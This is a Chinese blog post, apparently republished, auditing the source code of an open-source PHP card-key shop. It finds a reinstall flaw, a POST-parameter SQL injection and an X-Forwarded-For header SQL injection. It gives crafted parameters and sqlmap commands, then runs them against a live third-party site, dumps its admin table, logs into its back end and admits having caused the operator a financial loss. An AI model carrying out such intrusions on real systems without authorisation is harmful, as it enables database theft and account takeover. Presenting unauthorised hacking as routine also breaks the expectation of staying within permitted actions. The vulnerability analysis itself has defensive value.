zoukankan      html  css  js  c++  java
  • 对自助提卡系统EDLM的一次代码审计

    前言

    并非有意愿要审计该站,前面的走的黑盒没有过于精彩部分就不在贴上了,对于此系统站你们懂的,多说无益,这套程序是开源的,像这种自助提卡系统相信大家已经不在陌生了,很多违法网站通过这种平台方式提卡密的相当于购买邀请码,源码是小伙伴提供的,采用的是php+mysql进行开发的24小时自动售卡平台,废话就不多说了。

    相关环境

    源码信息:你猜啊

    漏洞类型:Forwarded-For注入

    搭建成功之后如下 :

    看到如下页面是不是有似曾相识的感受:

    image.png

    上图是安装过后的首页,就是一个提卡网,继续吧!

    image.png

    这是首页文件,进去首先判断了install目录下的lock文件是否不存在并且判断是否有index.php文件,如果满足以上条件就跳转到install目录下的index.php,我们跟进install/index.php文件:

    image.png

    image.png

    这里我们只看判断是否安装过程序,判断是否存在lock文件并且step不等于5的情况下就执行判断语句中的代码,当然这里如果header函数后没有exit就会存在重装漏洞。

    我们接着看index.php,光是index.php文件就用413行代码,代码都不规范,所以我们先看看其它文件,看看api.php文件:

    image.png

    这里很明显我们看到了SQL注入,首先判断是否设置了$_POST[“dh”]再判断$_POST[“dh”]不为空则将该参数拼接到SQL语句中,看到这里就可以判断出该程序存在联合查询注入,可是$config哪来的,这个文件也没包含其它的文件啊!!!怎么办呢?那么我们就来找找index文件中是否包含了api.php,search一下

    image.png

    可以看到在294行这里包含了api.php文件,我们构造下放入sqlmap中玩一玩。

    Python sqlmap.py -u “http://localhost:8081/index.php” --batch --dbms=”mysql” --data=”dh=a”

    image.png

    这里可以看到注入类型确实是联合查询,我们接着尝试下这个提卡网是否存在SQL注入。

    Python sqlmap.py -u "http://lxxxxx.pw/index.php" --batch --dbms="mysql" --data="dh=a"

    image.png

    我们尝试本地站点的时候毫无问题,为什么这个提卡网就没有存在这个问题了呢?很明显这个网站可能是升级或者二开发过的,我们接着看看其它点,进入./pay/pay.php文件:

    image.pngimage.pngimage.pngimage.pngimage.png

    代码过多就不一一贴图出来了,主要构成漏洞的代码就在这其中,我们从38行开始看着走。

    这里判断$_GET[“type”]等于delete的时候则执行40-49行的代码,41将获取到的ip拼接到sql语句中,我们看看ip函数:

    image.pngimage.png

    这里可以看到程序获取ip可以从客户端的头参数中获取,分别为HTTP_X_FORWARDED_FOR,HTTP_CLIENT_IP,这个函数真的仅仅是获取外部传递的参数的,一点也没有过滤,我们看到了这里就可以嘿嘿了,基本上这个网站拿下了,我们接着看看,回到41行,再看下边的,我们不宜在这里进行SQL注入,因为接着会将查询到的值又进行下一个SQL语句的拼接,这样返回值就不准确,用工具的过程就很难判断了,我们跳出这里的判断,看看51-54行分别判断了$_GET['type'],$_GET['money'],$_GET['title'],$_GET['pwd']这几个参数存不存在,所以我们这里可以这样构造get参数:

    type=a&money=1&title=adssad&pwd=123

    我们接着看下边的,第58-65行,首先是判断了type是否等于zfb,若不等于则退出当前程序并打印Tip:Type error!,所以我们还得接着改改get参数:

    type=zfb&money=1&title=adssad&pwd=123

    接下来,可以看到67行中再次将获取到的ip拼接到了SQL语句中,我们这样来,在67行的下边打印出当前执行的SQL语句

    image.png

    好了,现在我们打开burp进行抓包,然后伪造ip进行一系列的嘿嘿了,因为./pay/index.php中包含了pay.php,所以我们对index.php进行注入就好

    复现

    访问http://localhost:8081/pay/index.php?type=zfb&money=1&title=adssad&pwd=123,付款码页面:

    image.png可以看到这是一个很正常的页面了,并且打印出了SQL语句,我们抓包:

    image.pngimage.png正常页面:

    image.png错误页面:image.png

    好的,现在看到了吧!我们放到SQLmap中跑一下看看,我们将这个数据包保存到文本中,并且标注注入位置:X-Forwarded-For这个注入还自带绕过waf功能,因为很多waf不会检测hander参数。

    image.png

    Python sqlmap.py -r test.txt --batch --dbms="mysql" 

    image.png

    我们对那个网站测试一番,访问:http://lxxxx.pw/pay/index.php?type=zfb&money=1&title=adssad&pwd=123

    image.png

    可以看到缺少 “spid” 参数我们加上继续访问,页面是支付宝扫码支付 – -RL吧论坛邀请码:

    http://llxxxxx.pw/pay/index.php?type=zfb&money=1&title=adssad&pwd=123&spid=1

    image.png

    把该数据放到文本中,接着进行测试:

    image.png

    Python sqlmap.py -r test.txt --batch --dbms="mysql" 

    image.png成功挖掘到了该网站的漏洞,继续。

    image.png

    Python sqlmap.py -r test.txt --batch -D yulinxscom --tables 

    image.png

    Python sqlmap.py -r test.txt --batch -D yulinxscom -T admin --dump 

    image.png

    拿到了管理账号及密码。接着访问。

    默认后台:http://lxxxx.pw/admin.php

    image.png

    由于之前进去过一次,让他亏损了点钱,现在后台的名字也改了 。

    写在结尾

    跟此网站的搭建人聊了会,从去年11月份搭建平台以来已获利普通人一年的薪资。为了养家糊口,冒此风险也是不容易,切勿为了蝇头小利以身试法,就这样做个记录,到此为止吧。

  • 相关阅读:
    SpringBoot实现原理
    常见Http状态码大全
    forward(转发)和redirect(重定向)有什么区别
    1094. Car Pooling (M)
    0980. Unique Paths III (H)
    1291. Sequential Digits (M)
    0121. Best Time to Buy and Sell Stock (E)
    1041. Robot Bounded In Circle (M)
    0421. Maximum XOR of Two Numbers in an Array (M)
    0216. Combination Sum III (M)
  • 原文地址:https://www.cnblogs.com/h2zZhou/p/9413190.html
Copyright © 2011-2022 走看看